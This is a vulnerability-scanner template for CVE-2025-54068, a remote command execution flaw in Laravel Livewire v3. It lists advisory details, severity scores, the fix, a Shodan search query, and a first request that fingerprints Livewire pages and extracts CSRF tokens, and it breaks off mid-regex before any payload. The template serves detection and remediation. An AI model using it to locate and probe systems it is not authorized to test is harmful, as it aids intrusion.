id: CVE-2025-54068 info: name: Laravel Livewire v3 - Remote Command Execution author: flame-11 severity: critical description: | Livewire v3 (Laravel) contains a vulnerability in its component hydration/update mechanism that can be exploited to reach remote command execution (RCE) without authentication under certain conditions. impact: | An unauthenticated attacker may execute arbitrary commands in the web server context. remediation: | Upgrade livewire/livewire to a patched version (>= 3.6.4). reference: - https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3 - https://github.com/synacktiv/Livepyre - https://www.synacktiv.com/en/publications/livewire-remote-command-execution-through-unmarshaling - https://www.synacktiv.com/sites/default/files/2025-09/slides-livewire-nullcon2025.pdf - https://nvd.nist.gov/vuln/detail/CVE-2025-54068 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.8 cve-id: CVE-2025-54068 epss-score: 0.95376 epss-percentile: 0.99858 cwe-id: CWE-502 cpe: cpe:2.3:a:laravel:livewire:*:*:*:*:*:*:*:* metadata: verified: true max-request: 3 shodan-query: html:"wire:id" tags: cve,cve2025,laravel,livewire,rce,deserialization,oast,intrusive,vkev,kev flow: http(1) && http(2) && http(3) variables: marker: "{{randstr}}" http: - method: GET path: - "{{BaseURL}}/" matchers: - type: dsl internal: true dsl: - "status_code == 200" - "contains(body, 'wire:snapshot=')" - "contains(body, 'data-update-uri=')" - "contains(body, 'data-csrf=') || contains(body, 'csrf-token')" condition: and extractors: - type: regex name: csrf_token part: body group: 1 internal: true regex: - 'data-csrf="([^"]+)"' - '"csrf"\s*:\s*"([^"]+)"' - '